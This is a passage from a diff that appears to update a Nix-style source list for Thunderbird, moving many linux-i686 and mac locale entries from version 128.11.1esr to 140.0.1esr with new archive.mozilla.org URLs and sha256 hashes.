-      sha256 = "7ef80e9826a3c6f68d977d7f4d37e4e464bf3ed758f6a4bde55c25908bad1e5a";
+      sha256 = "d4452b7da20056aa6d628464824ff33c4ce07ce2955475b8c23cdc10dca41e6c";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/128.11.1esr/linux-i686/hsb/thunderbird-128.11.1esr.tar.bz2";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0.1esr/linux-i686/hsb/thunderbird-140.0.1esr.tar.xz";
       locale = "hsb";
       arch = "linux-i686";
-      sha256 = "977c9dcf1c4a5415168d4d6ba8bfc678ffd8fc71fad57c4591b67d2c5b66bb40";
+      sha256 = "394c0368199eaaf12457797158362fbaef05847c8de20052d47df3b66f4be403";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/128.11.1esr/linux-i686/hu/thunderbird-128.11.1esr.tar.bz2";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0.1esr/linux-i686/hu/thunderbird-140.0.1esr.tar.xz";
       locale = "hu";
       arch = "linux-i686";
-      sha256 = "50b063f5cdee1c3f34b335e1e69645c9d95217fd5e252a52cfb8da88655fafda";
+      sha256 = "c7947f866700ecacdc75569ce906403d2c641bd70963bf1885aa78f1987e3a5f";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/128.11.1esr/linux-i686/hy-AM/thunderbird-128.11.1esr.tar.bz2";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0.1esr/linux-i686/hy-AM/thunderbird-140.0.1esr.tar.xz";
       locale = "hy-AM";
       arch = "linux-i686";
-      sha256 = "a7634aaab27e184cff3e8c9abc0508c999c22370c9290e99c114e5e4585d0267";
+      sha256 = "971c420bdd12abfcdb04b776f68083bb9074c1b19e9d42db84b8172ad1188948";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/128.11.1esr/linux-i686/id/thunderbird-128.11.1esr.tar.bz2";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0.1esr/linux-i686/id/thunderbird-140.0.1esr.tar.xz";
       locale = "id";
       arch = "linux-i686";
-      sha256 = "c01eabdfd17451caa579caad715ae0fc401f8d782df1b4072523a930b85e19a3";
+      sha256 = "bc3d8f898c6470b31cf5633c04d2f582f42732f3fd5bde14fe0f6b38215f57fa";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/128.11.1esr/linux-i686/is/thunderbird-128.11.1esr.tar.bz2";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0.1esr/linux-i686/is/thunderbird-140.0.1esr.tar.xz";
       locale = "is";
       arch = "linux-i686";
-      sha256 = "6159e093852e94ab37e2446bfbdda0a1c67dfe1d88b6eb37c82c1fa3a0adea30";
+      sha256 = "623158002114770da3868e58a9c90d6e6cd8738ad2da0ebcb7b5b48c79e7d116";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/128.11.1esr/linux-i686/it/thunderbird-128.11.1esr.tar.bz2";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0.1esr/linux-i686/it/thunderbird-140.0.1esr.tar.xz";
       locale = "it";
       arch = "linux-i686";
-      sha256 = "b91c6b9dae50ffe444b99737c8e3f645ba8ac126572295be10d32fd88efd521d";
+      sha256 = "729ff0a4999e13deef4f275939719931db868e89c87947e7f189395ed96c61ab";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/128.11.1esr/linux-i686/ja/thunderbird-128.11.1esr.tar.bz2";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0.1esr/linux-i686/ja/thunderbird-140.0.1esr.tar.xz";
       locale = "ja";
       arch = "linux-i686";
-      sha256 = "392a3568f390b6193a0f5236a88a9e3ed84557d74f440978797e26c027a85135";
+      sha256 = "a06d34c19b166da06de2c807710e36547f09702f29fa35d1a67cc41f5ff8cf7e";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/128.11.1esr/linux-i686/ka/thunderbird-128.11.1esr.tar.bz2";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0.1esr/linux-i686/ka/thunderbird-140.0.1esr.tar.xz";
       locale = "ka";
       arch = "linux-i686";
-      sha256 = "e96c43f4bfa370b60b9f447b82dcf48b5ce021b756fedd47013fc5ac7926bb67";
+      sha256 = "f67a7115bbfc19e9b41b7dabfe32fb62ecc20e5884c0b3e9b443351dae66c1c6";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/128.11.1esr/linux-i686/kab/thunderbird-128.11.1esr.tar.bz2";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0.1esr/linux-i686/kab/thunderbird-140.0.1esr.tar.xz";
       locale = "kab";
       arch = "linux-i686";
-      sha256 = "cf1d16b6477b2b836d896fb3e5ac65c32799c21ffe76a986c085bafa08883f92";
+      sha256 = "01d8c9170990e175cf2452a428dafea95f0fe77e0b73001d644ebcdfb164ea61";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/128.11.1esr/linux-i686/kk/thunderbird-128.11.1esr.tar.bz2";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0.1esr/linux-i686/kk/thunderbird-140.0.1esr.tar.xz";
       locale = "kk";
       arch = "linux-i686";
-      sha256 = "abe96a32627fa819f97438b0b65cde4b6d92f372cac0e21c3ac79f896fb2da11";
+      sha256 = "885540419072b130288a05b7f7c199bb19a5fac31b6455e11a95f36fc3239c76";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/128.11.1esr/linux-i686/ko/thunderbird-128.11.1esr.tar.bz2";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0.1esr/linux-i686/ko/thunderbird-140.0.1esr.tar.xz";
       locale = "ko";
       arch = "linux-i686";
-      sha256 = "895ad3c0187367a3fbb4e04e846c1ab993458d38cdce5c7745778e8530f7893e";
+      sha256 = "daf94b5f16730691736296457ca41d64d53fe93d910c72116db5393319b1b9d9";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/128.11.1esr/linux-i686/lt/thunderbird-128.11.1esr.tar.bz2";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0.1esr/linux-i686/lt/thunderbird-140.0.1esr.tar.xz";
       locale = "lt";
       arch = "linux-i686";
-      sha256 = "efffe1bdf4b546e794d5085d7a1cf91d8634a679e6ebf2aaca9828814c73c581";
+      sha256 = "d2bf636a9ad18e093f645f401bdc9d4b9cc972f3b096bc136f5893a26fe9dec9";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/128.11.1esr/linux-i686/lv/thunderbird-128.11.1esr.tar.bz2";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0.1esr/linux-i686/lv/thunderbird-140.0.1esr.tar.xz";
       locale = "lv";
       arch = "linux-i686";
-      sha256 = "395fe93b274f19761037defe7d3b44248f6a53ce70b386bfcfa979bf2bc61f56";
+      sha256 = "01f975e034eb580a7b754cc612a46814f6c54d85a8fe6193caf9f8df7028c2cd";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/128.11.1esr/linux-i686/ms/thunderbird-128.11.1esr.tar.bz2";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0.1esr/linux-i686/ms/thunderbird-140.0.1esr.tar.xz";
       locale = "ms";
       arch = "linux-i686";
-      sha256 = "43b0260c9a74d76163cbbeba33de06dde61e084a1f241ae5d6c9bb5bad424c27";
+      sha256 = "38f637dd2de942b1f679421bfac608abf502cbc95f5dba921307dda860c38fd7";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/128.11.1esr/linux-i686/nb-NO/thunderbird-128.11.1esr.tar.bz2";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0.1esr/linux-i686/nb-NO/thunderbird-140.0.1esr.tar.xz";
       locale = "nb-NO";
       arch = "linux-i686";
-      sha256 = "41a214594554f40959f7d53ac09f6422d8cc06945ab91757e34c31cdf3303599";
+      sha256 = "2e6ad92a8cc928dc05386051a373076fe3228e94705e79d5a3b5acc7a71dbbaa";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/128.11.1esr/linux-i686/nl/thunderbird-128.11.1esr.tar.bz2";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0.1esr/linux-i686/nl/thunderbird-140.0.1esr.tar.xz";
       locale = "nl";
       arch = "linux-i686";
-      sha256 = "517eb90659cdce2cd47c33d485dd205a2fecf05735cff999f500e66daaf32a88";
+      sha256 = "7b3ff0bf8193e1d7624f9415e84e32a508a8a9d075a7ed44f0a818ff14bd86a8";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/128.11.1esr/linux-i686/nn-NO/thunderbird-128.11.1esr.tar.bz2";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0.1esr/linux-i686/nn-NO/thunderbird-140.0.1esr.tar.xz";
       locale = "nn-NO";
       arch = "linux-i686";
-      sha256 = "55fc05dfdad632116c09683c4d7b13679114c8935dc4931723f4744240e0ca9c";
+      sha256 = "78a602eff2211f403e1805d3afb2e8acf017a3c81270b07810387d97b697227d";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/128.11.1esr/linux-i686/pa-IN/thunderbird-128.11.1esr.tar.bz2";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0.1esr/linux-i686/pa-IN/thunderbird-140.0.1esr.tar.xz";
       locale = "pa-IN";
       arch = "linux-i686";
-      sha256 = "f4526e30c386550a95128830464b1ea8f2ff0e68fd8ae6aeba40a9c76fb0883f";
+      sha256 = "c83252f5d19c16a93e7e5017a2d1737d080d855f9fba011006f726828005e8dc";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/128.11.1esr/linux-i686/pl/thunderbird-128.11.1esr.tar.bz2";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0.1esr/linux-i686/pl/thunderbird-140.0.1esr.tar.xz";
       locale = "pl";
       arch = "linux-i686";
-      sha256 = "be59a45e3866eec1e7034766cbbf7f40017e517763f96cf55dc028fde5a5e446";
+      sha256 = "8b8aa69ddd5545aefd35cd15b6ee5d58306540ba72d347cef921fb12cf739249";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/128.11.1esr/linux-i686/pt-BR/thunderbird-128.11.1esr.tar.bz2";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0.1esr/linux-i686/pt-BR/thunderbird-140.0.1esr.tar.xz";
       locale = "pt-BR";
       arch = "linux-i686";
-      sha256 = "1ef73fbba3104f5c71939974ceb1a231489bc0bfd1d079e8394f51c59dc66923";
+      sha256 = "55f3c32096812e12dbe2b52c940b582f018a685c949f1e73bab9a0123ee56ec7";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/128.11.1esr/linux-i686/pt-PT/thunderbird-128.11.1esr.tar.bz2";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0.1esr/linux-i686/pt-PT/thunderbird-140.0.1esr.tar.xz";
       locale = "pt-PT";
       arch = "linux-i686";
-      sha256 = "e8a28970d175427f75d61605fbef7cbff7fe39cf08d9427c3a3ea1f561b751b6";
+      sha256 = "8f6063ab557b81853bebc335181bed3271f10df0cc212986f850e8bb65fa7534";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/128.11.1esr/linux-i686/rm/thunderbird-128.11.1esr.tar.bz2";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0.1esr/linux-i686/rm/thunderbird-140.0.1esr.tar.xz";
       locale = "rm";
       arch = "linux-i686";
-      sha256 = "6b48d31bfa44c4815a4c09821b19c9249c6d916ff15712d163e3d7f74883345e";
+      sha256 = "99c2aeaec4b24f1b4622138196d2cb35fe32d4babe56557b5909331a262e6df2";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/128.11.1esr/linux-i686/ro/thunderbird-128.11.1esr.tar.bz2";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0.1esr/linux-i686/ro/thunderbird-140.0.1esr.tar.xz";
       locale = "ro";
       arch = "linux-i686";
-      sha256 = "f12cd678b765d97f5ffa6aaaff007e7ec5c07ee4f95b78abaee83a19e3ab44a0";
+      sha256 = "2043faa14a64ec209e753a7a28b718295bad75fe32c88760818400d6b62ab6e3";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/128.11.1esr/linux-i686/ru/thunderbird-128.11.1esr.tar.bz2";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0.1esr/linux-i686/ru/thunderbird-140.0.1esr.tar.xz";
       locale = "ru";
       arch = "linux-i686";
-      sha256 = "686c8dd08600adf3bee7c32cf58cd575399e4cc7aa3e0905b0bd1613dfcd3358";
+      sha256 = "d50ab6a8217ace9105bdc68694d748ebe5ac84053bd6bcf7608963e63ccb6875";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/128.11.1esr/linux-i686/sk/thunderbird-128.11.1esr.tar.bz2";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0.1esr/linux-i686/sk/thunderbird-140.0.1esr.tar.xz";
       locale = "sk";
       arch = "linux-i686";
-      sha256 = "0292c2f3343da364f29828dab5d24658fe31a707eb52bbc963b042f0f2501787";
+      sha256 = "0353ffaef431ea0ad6c279be383078643689320ef429230f087d49b5f28a9fd2";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/128.11.1esr/linux-i686/sl/thunderbird-128.11.1esr.tar.bz2";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0.1esr/linux-i686/sl/thunderbird-140.0.1esr.tar.xz";
       locale = "sl";
       arch = "linux-i686";
-      sha256 = "a4bd96ee63ad05fac5bd45c506e9038537dbd9a8ac88e17387f43c8f6d9e2423";
+      sha256 = "6e812718af66575f3cfb6287d544935a22180aa02ff3e62e61a7dd7570e81c0d";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/128.11.1esr/linux-i686/sq/thunderbird-128.11.1esr.tar.bz2";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0.1esr/linux-i686/sq/thunderbird-140.0.1esr.tar.xz";
       locale = "sq";
       arch = "linux-i686";
-      sha256 = "6b6614c7ac1a4a80725a146fdd5c2840228130b23d1abeb7e088a879d613b70d";
+      sha256 = "288fa156ab80da4f2476970886fae43e349503e2f3125b4ec48118bacfc51ded";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/128.11.1esr/linux-i686/sr/thunderbird-128.11.1esr.tar.bz2";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0.1esr/linux-i686/sr/thunderbird-140.0.1esr.tar.xz";
       locale = "sr";
       arch = "linux-i686";
-      sha256 = "42ce92dcaf772e57d48cfcca18be0fc63a5aa3c76b6a257559ec5e003fd31451";
+      sha256 = "61b39b6abbcff45c4f0b7816310c87377aba5cc6d30bf44659a7ee6fbd09d128";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/128.11.1esr/linux-i686/sv-SE/thunderbird-128.11.1esr.tar.bz2";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0.1esr/linux-i686/sv-SE/thunderbird-140.0.1esr.tar.xz";
       locale = "sv-SE";
       arch = "linux-i686";
-      sha256 = "ae88cd1e1b4123e308107e804a339d05141c696c1ad7ee6d1c9c942269a39001";
+      sha256 = "3783d139fb9e9947852d173f2f6fe142a0a7ff337f8288f96f1506f099a41ef5";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/128.11.1esr/linux-i686/th/thunderbird-128.11.1esr.tar.bz2";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0.1esr/linux-i686/th/thunderbird-140.0.1esr.tar.xz";
       locale = "th";
       arch = "linux-i686";
-      sha256 = "a38e31d43db5cd6f67f1b40e72e8a93f21ea7e5492f50ff228677d66d9b1fb45";
+      sha256 = "7cad4d217e5b9e82e9b841a71e96ca390f2b400086703f3bdbf0e09897757455";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/128.11.1esr/linux-i686/tr/thunderbird-128.11.1esr.tar.bz2";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0.1esr/linux-i686/tr/thunderbird-140.0.1esr.tar.xz";
       locale = "tr";
       arch = "linux-i686";
-      sha256 = "08e2ce8ba8e2960ba34bf3570a7d6bbe55d70b9f35aeb938c0c752fbffdc7131";
+      sha256 = "f49f042d6e86bcc40b1edd73d4241a8bb73dbdf320c1a417a20c3ef282557933";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/128.11.1esr/linux-i686/uk/thunderbird-128.11.1esr.tar.bz2";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0.1esr/linux-i686/uk/thunderbird-140.0.1esr.tar.xz";
       locale = "uk";
       arch = "linux-i686";
-      sha256 = "de8b699e322488a765f354819d2f79baf530405ac0f4a6540ab5ac3b474f20d2";
+      sha256 = "3058636ce20f2744413f23bfeb82206b265e7f625643b274ccb1dfebcfc03ec8";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/128.11.1esr/linux-i686/uz/thunderbird-128.11.1esr.tar.bz2";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0.1esr/linux-i686/uz/thunderbird-140.0.1esr.tar.xz";
       locale = "uz";
       arch = "linux-i686";
-      sha256 = "2d969f62cf9c164a0623a769eebda1e3ff9790818cfce05978da3b49a630b726";
+      sha256 = "9d26d9154909b30d7fd335e3ab9a1d7a5614064568e03a21d10004dfce22dcf2";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/128.11.1esr/linux-i686/vi/thunderbird-128.11.1esr.tar.bz2";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0.1esr/linux-i686/vi/thunderbird-140.0.1esr.tar.xz";
       locale = "vi";
       arch = "linux-i686";
-      sha256 = "0e3585662595e365e54a4f4f8e06fc843729387f005607d6e78f4049db6c9657";
+      sha256 = "0d50d6a2b8b7a7f0b7dfafa1e72c1187ca1fc195aae5736f8e4eda9ee84b66b9";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/128.11.1esr/linux-i686/zh-CN/thunderbird-128.11.1esr.tar.bz2";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0.1esr/linux-i686/zh-CN/thunderbird-140.0.1esr.tar.xz";
       locale = "zh-CN";
       arch = "linux-i686";
-      sha256 = "7365a226c7f4e7771edf4f90602d14826240d3352c77d6b736765b762cd25434";
+      sha256 = "7e2a01674ab8ef493f6a01aa4b5d5cc122b950bc0eca2bbd0ad6bf293b9fbc21";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/128.11.1esr/linux-i686/zh-TW/thunderbird-128.11.1esr.tar.bz2";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0.1esr/linux-i686/zh-TW/thunderbird-140.0.1esr.tar.xz";
       locale = "zh-TW";
       arch = "linux-i686";
-      sha256 = "f7c7afad8dbccdecc9c4e8a29f3450877e151512a931875a89521c8b39053837";
+      sha256 = "bdcfa911639dc193d7f9b38cadda371b3599beddfcd30a0cbb8fe8540520b1b6";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/128.11.1esr/mac/af/Thunderbird%20128.11.1esr.dmg";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0.1esr/mac/af/Thunderbird%20140.0.1esr.dmg";
       locale = "af";
       arch = "mac";
-      sha256 = "5044e23b78ec2c1f06dcbc938d8849516005577c78445ae8212930572b5a4530";
+      sha256 = "95d5b1481ca80568c3229a9bfb0dfe9fa0eee09b5264e553e6e7588c7f2b4caa";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/128.11.1esr/mac/ar/Thunderbird%20128.11.1esr.dmg";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0.1esr/mac/ar/Thunderbird%20140.0.1esr.dmg";
       locale = "ar";
       arch = "mac";
-      sha256 = "51a94e0f3b040b53aabccee293b1b8e4f5be12a3fae4bbe5ce50ce95649f1701";
+      sha256 = "38fa8d2d6051c580aafb11442af3d6948a5444a2d21b52f5f14a4f641cd164a4";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/128.11.1esr/mac/ast/Thunderbird%20128.11.1esr.dmg";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0.1esr/mac/ast/Thunderbird%20140.0.1esr.dmg";
       locale = "ast";
       arch = "mac";
-      sha256 = "493626258864ece20d2357b5ee94aa921100f6d0e50de3187123260963b736d5";
+      sha256 = "08a420005f06a040bd5aeb05548276eb3dc0cbeaeaae4797a4a085a72eb94e47";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/128.11.1esr/mac/be/Thunderbird%20128.11.1esr.dmg";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0.1esr/mac/be/Thunderbird%20140.0.1esr.dmg";
       locale = "be";
       arch = "mac";
-      sha256 = "4a1c3252264b101400fa5cddebdc85143a0486a93df7db52a05e796dbf447cac";
+      sha256 = "37c2080dd55ad5c31c730d9be6bc1580c51ebc0482ab89d2a198fd14df2b136f";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/128.11.1esr/mac/bg/Thunderbird%20128.11.1esr.dmg";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0.1esr/mac/bg/Thunderbird%20140.0.1esr.dmg";
       locale = "bg";
       arch = "mac";
-      sha256 = "62221accab70032a18e5014aebcb032acc964875b3b586cb7a1e8a6d2e785c7c";
+      sha256 = "053765ee4d6b385de034fb65961df15f514621eee8b989211fae46bd19f34efb";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/128.11.1esr/mac/br/Thunderbird%20128.11.1esr.dmg";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0.1esr/mac/br/Thunderbird%20140.0.1esr.dmg";
       locale = "br";
       arch = "mac";
-      sha256 = "1d75ebd1ce55ae195cd26b32c59689f6481cf68b7578151315d5006c669ed97b";
+      sha256 = "77ee4106a4e5378a289a26a443698a8a19c5758af901c3d73ef75548d1428c25";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/128.11.1esr/mac/ca/Thunderbird%20128.11.1esr.dmg";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0.1esr/mac/ca/Thunderbird%20140.0.1esr.dmg";
       locale = "ca";
       arch = "mac";
-      sha256 = "2be38ab16c24f73ad88baae4ce37b7121397cd9e5406f510ffec2df5103ad0a8";
+      sha256 = "a5eaa6152a22227fff0171825606fad9dfa2235526835d4a3479176fbdb5d420";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/128.11.1esr/mac/cak/Thunderbird%20128.11.1esr.dmg";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0.1esr/mac/cak/Thunderbird%20140.0.1esr.dmg";
       locale = "cak";
       arch = "mac";
-      sha256 = "54728cb3b6128eceeab66d509c7b90cf244504455f5425cfcfb49c881f3c68d3";
+      sha256 = "da81389041f93401ad3baad47fb96936b49fa32f59ab92d37e3d8c6ce7e9a88a";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/128.11.1esr/mac/cs/Thunderbird%20128.11.1esr.dmg";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0.1esr/mac/cs/Thunderbird%20140.0.1esr.dmg";
       locale = "cs";
       arch = "mac";
-      sha256 = "7a21159417b5fe4641155ae43e4d41effe94fbec0431fc0b5567484d7087c8c0";
+      sha256 = "1a72eff467b93fe13f917c0a5c1e41057bf5e2ec1bc1897a0a1e58cf59389185";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/128.11.1esr/mac/cy/Thunderbird%20128.11.1esr.dmg";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0.1esr/mac/cy/Thunderbird%20140.0.1esr.dmg";
       locale = "cy";
       arch = "mac";
-      sha256 = "4044f729e7b202d50110529df9592617fe0b948c8b1860b456b3f3d38c341599";
+      sha256 = "b4c4eac9cbd977362fed93ef8378012e1c8db06c941fef58ea0f39712fbff5c6";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/128.11.1esr/mac/da/Thunderbird%20128.11.1esr.dmg";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0.1esr/mac/da/Thunderbird%20140.0.1esr.dmg";
       locale = "da";
       arch = "mac";
-      sha256 = "da7e5440d28bca85f7a4456e39556e2f8c357feb024163d763d61ca3261b58db";
+      sha256 = "865cf7ae8bf2deaac3e80a91529321477202f749da03252e3a2cc3bb1e7fcedf";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/128.11.1esr/mac/de/Thunderbird%20128.11.1esr.dmg";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0.1esr/mac/de/Thunderbird%20140.0.1esr.dmg";
       locale = "de";
       arch = "mac";
-      sha256 = "2036cb0ec75668a4a82b524b752ed3973195e0e721fec14b9b101a36277dd72e";
+      sha256 = "ca21ea80983beec307b2e7cb1df443c60f5f44ccc956baa367f5793f638f7324";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/128.11.1esr/mac/dsb/Thunderbird%20128.11.1esr.dmg";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0.1esr/mac/dsb/Thunderbird%20140.0.1esr.dmg";
       locale = "dsb";
       arch = "mac";
-      sha256 = "27404dc749bfc62b4153640a06421e77da13de6acca1867ea60623eea8a354af";
+      sha256 = "cc93a1d5447ed0df64d89cdc28ef506458d53459a4f75f0126a018d3e6f125ee";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/128.11.1esr/mac/el/Thunderbird%20128.11.1esr.dmg";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0.1esr/mac/el/Thunderbird%20140.0.1esr.dmg";
       locale = "el";
       arch = "mac";
-      sha256 = "9ec737d7b1ad4f2b062a1a430ca7316a2c4fcedab43b0a034926356ceda336ec";
+      sha256 = "7c9a536a8a3b92d955fb520f857b57f57890dc08870cc77de51e8733aad73b76";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/128.11.1esr/mac/en-CA/Thunderbird%20128.11.1esr.dmg";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0.1esr/mac/en-CA/Thunderbird%20140.0.1esr.dmg";
       locale = "en-CA";
       arch = "mac";
-      sha256 = "c55389c197313ea19c20a292fe52aba160185a7eb6ff6f47c21406f2b87de88e";
+      sha256 = "bb674b60e80673d4460707dd4022949e457ad4d3915127872cc55bc1eb6d8e6b";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/128.11.1esr/mac/en-GB/Thunderbird%20128.11.1esr.dmg";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0.1esr/mac/en-GB/Thunderbird%20140.0.1esr.dmg";
       locale = "en-GB";
       arch = "mac";
-      sha256 = "29e77840a36c3235d478e0d0b1843a7c9bbc6ed0fc2ca08e5302e4befe3f6784";
+      sha256 = "43c1a3466df45aa98894c8d2f01488faabc1bfcc11a62d2c81dee951c48e9377";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/128.11.1esr/mac/en-US/Thunderbird%20128.11.1esr.dmg";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0.1esr/mac/en-US/Thunderbird%20140.0.1esr.dmg";
       locale = "en-US";
       arch = "mac";
-      sha256 = "6aaeb32a4964b1bdee1322dbb2e0e17b54632a5cc5a4c8f8c2fa78bfdfed4365";
+      sha256 = "0df7e445f71283e1f385d7920408ac0035baa937165d51e1b7d2f4c6515e8b80";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/128.11.1esr/mac/es-AR/Thunderbird%20128.11.1esr.dmg";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0.1esr/mac/es-AR/Thunderbird%20140.0.1esr.dmg";
       locale = "es-AR";
       arch = "mac";
-      sha256 = "006229fe8ed1e141b09a2c835125cee3ed273e84198eebadfa8e66186121acd9";
+      sha256 = "a0865f3d19d212e79666d4e90b8a18516d0c44d35f7f320bbd631cc9845844cc";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/128.11.1esr/mac/es-ES/Thunderbird%20128.11.1esr.dmg";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0.1esr/mac/es-ES/Thunderbird%20140.0.1esr.dmg";
       locale = "es-ES";
       arch = "mac";
-      sha256 = "643d80c431a4dc12760d492275797fb1b67f4edc699e731aeafec17e9f9d96e1";
+      sha256 = "242afdcc031130e3b3c16413242cf0a95e2f1520e73c403c358f6d5fc2f1a46e";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/128.11.1esr/mac/es-MX/Thunderbird%20128.11.1esr.dmg";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0.1esr/mac/es-MX/Thunderbird%20140.0.1esr.dmg";
       locale = "es-MX";
       arch = "mac";
-      sha256 = "b18b4f8e9ca142e2a46f52c7f67aabc10365314be07b438bd20cb631ad4d6bbb";
+      sha256 = "61e58ababdd693de00fb404edea2e2a986180a49dd0a33ad3840700eb081bbed";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/128.11.1esr/mac/et/Thunderbird%20128.11.1esr.dmg";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0.1esr/mac/et/Thunderbird%20140.0.1esr.dmg";
       locale = "et";
       arch = "mac";
